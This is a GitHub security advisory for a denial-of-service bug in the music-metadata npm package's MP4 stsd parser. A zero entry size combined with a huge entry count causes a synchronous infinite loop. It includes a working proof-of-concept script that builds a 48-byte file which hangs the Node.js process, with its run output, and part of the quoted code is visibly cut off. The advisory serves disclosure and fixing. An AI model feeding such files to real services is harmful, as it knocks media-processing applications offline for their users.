GitHub Advisoryadvisory · npm
GHSA-f94x-6692-553q music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master
MEDIUM
Official page ↗
- Aliases
- CVE-2026-107391
- Ecosystem
- npm
- Packages
- music-metadata
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400, CWE-835
- Reviewed
- 2026-10-08
Affected packages
• npm music-metadata: < 11.16.0 → fixed in 11.16.0
Description
Summary
`StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`.
This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships.
Details
`lib/mp4/AtomToken.ts`, `StsdAtom.get()`:
```ts
for (let n = 0; n [...s].map(c => c.charCodeAt(0) & 0xff);
const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];
const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };
const zeros = (n) => new Array(n).fill(0);
function build(entryCount, entrySize) {
const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));
const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count
const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry
const payload = cat(stsdHeader, entry);
const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);
return Uint8Array.from(cat(ftyp, stsd));
}
const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0
console.log('parsing', hang.length, 'byte file …');
await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop
console.log('unreachable');
```
```
$ timeout 8 node poc.mjs
parsing 48 byte file …
process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time
```
Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone.
Version-scope control (same 48-byte file against the latest npm release, `[email protected]`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped.
Impact
Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call.
This is the same vulnerability class and CVSS vector as the project's own prior advisory, GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256 (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.
Related
Alias · CVE (1)
- CVE-2026-107391 music-metadata is a metadata parser for audio and video media files. vulnerability
References
- https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q web
- https://github.com/Borewit/music-metadata/pull/2734 web
- https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5 web
- https://github.com/Borewit/music-metadata package
- https://github.com/Borewit/music-metadata/releases/tag/v11.16.0 web